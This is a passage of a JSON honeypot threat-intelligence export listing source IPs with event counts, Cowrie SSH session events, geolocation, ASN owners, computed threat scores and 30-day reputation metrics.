      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T19:03:18.310000+00:00",
        "last_seen_30d": "2026-04-09T19:04:22.223000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "147.185.132.231": {
      "attack_count": 4,
      "first_seen": "2026-04-29T16:51:20.329Z",
      "last_seen": "2026-04-29T16:51:24.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:29:17.477000+00:00",
        "last_seen_30d": "2026-04-29T16:52:27.253000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 31,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "182.31.46.49": {
      "attack_count": 4,
      "first_seen": "2026-04-17T21:13:28.095Z",
      "last_seen": "2026-04-30T20:18:26.694Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 9694,
      "as_org": "Seokyung Cable Television Co.. Ltd.",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:13:28.095000+00:00",
        "last_seen_30d": "2026-04-30T20:19:35.412000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "20.65.202.2": {
      "attack_count": 4,
      "first_seen": "2026-04-18T06:03:33.573Z",
      "last_seen": "2026-04-18T06:03:44.065Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T12:21:23+00:00",
        "last_seen_30d": "2026-04-18T06:04:50.020000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "200.74.92.38": {
      "attack_count": 4,
      "first_seen": "2026-04-30T15:46:27.870Z",
      "last_seen": "2026-04-30T15:46:33.826Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Puente Alto",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:46:27.870000+00:00",
        "last_seen_30d": "2026-04-30T15:47:42.526000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.133": {
      "attack_count": 4,
      "first_seen": "2026-04-11T04:48:30.352Z",
      "last_seen": "2026-04-11T04:48:34.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 10.8,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 13,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T05:40:59+00:00",
        "last_seen_30d": "2026-04-19T02:41:49.272000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "205.210.31.76": {
      "attack_count": 4,
      "first_seen": "2026-04-24T05:02:40.276Z",
      "last_seen": "2026-04-24T05:02:43.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 29,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T07:47:24.393000+00:00",
        "last_seen_30d": "2026-04-29T22:32:12.979000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 33,
        "Cowrie": 4,
        "ConPot": 3,
        "Dionaea": 2
      }
    },
    "45.143.31.183": {
      "attack_count": 4,
      "first_seen": "2026-04-28T18:53:51.353Z",
      "last_seen": "2026-04-28T18:57:53.261Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:53:51.353000+00:00",
        "last_seen_30d": "2026-04-28T18:58:55.099000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.62.156.49": {
      "attack_count": 4,
      "first_seen": "2026-04-25T12:46:41.892Z",
      "last_seen": "2026-04-25T12:46:45.892Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 56.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 23,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T04:13:10.110000+00:00",
        "last_seen_30d": "2026-04-25T12:47:49.550000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4,
        "ElasticPot": 1
      }
    },
    "65.49.1.163": {
      "attack_count": 4,
      "first_seen": "2026-04-18T14:28:02.279Z",
      "last_seen": "2026-04-18T14:28:06.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 64.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T06:30:07+00:00",
        "last_seen_30d": "2026-04-28T13:06:42.427000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "66.132.172.200": {
      "attack_count": 4,
      "first_seen": "2026-04-08T16:34:25.927Z",
      "last_seen": "2026-04-08T16:34:41.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T06:30:57+00:00",
        "last_seen_30d": "2026-04-30T04:46:20.969000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 63,
        "Cowrie": 4,
        "ElasticPot": 4,
        "ConPot": 3,
        "Dionaea": 1,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.195.80": {
      "attack_count": 4,
      "first_seen": "2026-04-06T14:33:25.527Z",
      "last_seen": "2026-04-06T14:33:41.078Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T12:56:13.581000+00:00",
        "last_seen_30d": "2026-04-30T07:38:00.771000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 38,
        "ElasticPot": 12,
        "Redishoneypot": 6,
        "Cowrie": 4
      }
    },
    "67.85.184.9": {
      "attack_count": 4,
      "first_seen": "2026-04-12T05:11:18.541Z",
      "last_seen": "2026-04-26T09:45:54.396Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Brooklyn",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T05:11:18.541000+00:00",
        "last_seen_30d": "2026-04-26T09:47:03.321000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.82.13.133": {
      "attack_count": 3,
      "first_seen": "2026-04-22T19:50:30.483Z",
      "last_seen": "2026-04-22T19:51:31.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 54.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-21T00:11:37.433000+00:00",
        "last_seen_30d": "2026-04-30T18:59:41.777000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Tanner": 46,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "1.171.22.71": {
      "attack_count": 2,
      "first_seen": "2026-04-04T14:19:08.973Z",
      "last_seen": "2026-04-04T14:19:24.264Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhubei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T14:19:08.973000+00:00",
        "last_seen_30d": "2026-04-04T14:20:32.914000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.36.97.205": {
      "attack_count": 2,
      "first_seen": "2026-04-26T10:40:41.846Z",
      "last_seen": "2026-04-26T10:40:42.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 80.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T14:09:52+00:00",
        "last_seen_30d": "2026-04-30T12:18:38.026000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 36,
        "Cowrie": 2
      }
    },
    "119.30.117.198": {
      "attack_count": 2,
      "first_seen": "2026-04-12T01:14:09.531Z",
      "last_seen": "2026-04-12T01:14:20.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 58470,
      "as_org": "IX Peering for Mobilink and Link Direct International.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:14:09.531000+00:00",
        "last_seen_30d": "2026-04-12T01:15:27.018000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "134.209.247.242": {
      "attack_count": 2,
      "first_seen": "2026-04-01T05:31:29.096Z",
      "last_seen": "2026-04-01T05:31:49.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 2.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 3,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:01:46+00:00",
        "last_seen_30d": "2026-04-03T22:34:50.211000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 7,
        "Cowrie": 2
      }
    },
    "14.18.124.173": {
      "attack_count": 2,
      "first_seen": "2026-04-28T10:57:07.755Z",
      "last_seen": "2026-04-28T10:57:38.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:57:07.755000+00:00",
        "last_seen_30d": "2026-04-28T10:58:43.135000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "160.120.252.199": {
      "attack_count": 2,
      "first_seen": "2026-04-29T19:52:07.770Z",
      "last_seen": "2026-04-29T19:52:20.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ivory Coast",
      "country_code": "CI",
      "city": "Abidjan",
      "asn": 29571,
      "as_org": "ORANGE-COTE-IVOIRE",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:52:07.770000+00:00",
        "last_seen_30d": "2026-04-29T19:53:24.548000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.137.137.223": {
      "attack_count": 2,
      "first_seen": "2026-04-28T01:04:29.356Z",
      "last_seen": "2026-04-28T01:04:32.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Volta Redonda",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:04:29.356000+00:00",
        "last_seen_30d": "2026-04-28T01:05:33.193000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.189.0.72": {
      "attack_count": 2,
      "first_seen": "2026-04-24T01:58:18.837Z",
      "last_seen": "2026-04-24T01:58:19.460Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Catal\u00e3o",
      "asn": 28309,
      "as_org": "WGO MULTIMIDIA LTDA",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T01:58:18.837000+00:00",
        "last_seen_30d": "2026-04-24T01:59:24.740000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "180.216.244.199": {
      "attack_count": 2,
      "first_seen": "2026-04-27T17:00:22.900Z",
      "last_seen": "2026-04-27T17:00:36.342Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 4804,
      "as_org": "Microplex PTY LTD",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:00:22.900000+00:00",
        "last_seen_30d": "2026-04-27T17:01:39.844000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.8.202.40": {
      "attack_count": 2,
      "first_seen": "2026-04-15T16:01:03.137Z",
      "last_seen": "2026-04-15T16:01:34.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 31724,
      "as_org": "Svyazist LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:01:03.137000+00:00",
        "last_seen_30d": "2026-04-15T16:02:42.012000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.113": {
      "attack_count": 2,
      "first_seen": "2026-04-04T15:55:22.490Z",
      "last_seen": "2026-04-04T15:55:53.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 27,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T02:31:53.149000+00:00",
        "last_seen_30d": "2026-04-29T06:52:25.565000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 20,
        "Cowrie": 2
      }
    },
    "198.235.24.240": {
      "attack_count": 2,
      "first_seen": "2026-04-12T07:17:39.463Z",
      "last_seen": "2026-04-12T07:17:49.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T06:21:52.550000+00:00",
        "last_seen_30d": "2026-04-29T21:21:01.475000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 23,
        "Cowrie": 2,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "207.6.37.197": {
      "attack_count": 2,
      "first_seen": "2026-04-16T15:29:00.935Z",
      "last_seen": "2026-04-16T15:29:14.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Vancouver",
      "asn": 852,
      "as_org": "TELUS Communications",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T15:29:00.935000+00:00",
        "last_seen_30d": "2026-04-16T15:30:15.542000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.128.117": {
      "attack_count": 2,
      "first_seen": "2026-04-19T19:31:59.791Z",
      "last_seen": "2026-04-19T19:32:05.756Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 9.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 11,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T08:05:43+00:00",
        "last_seen_30d": "2026-04-19T19:33:06.514000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Honeytrap": 3,
        "Cowrie": 2
      }
    },
    "58.153.33.13": {
      "attack_count": 2,
      "first_seen": "2026-04-09T16:21:14.174Z",
      "last_seen": "2026-04-09T16:21:27.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
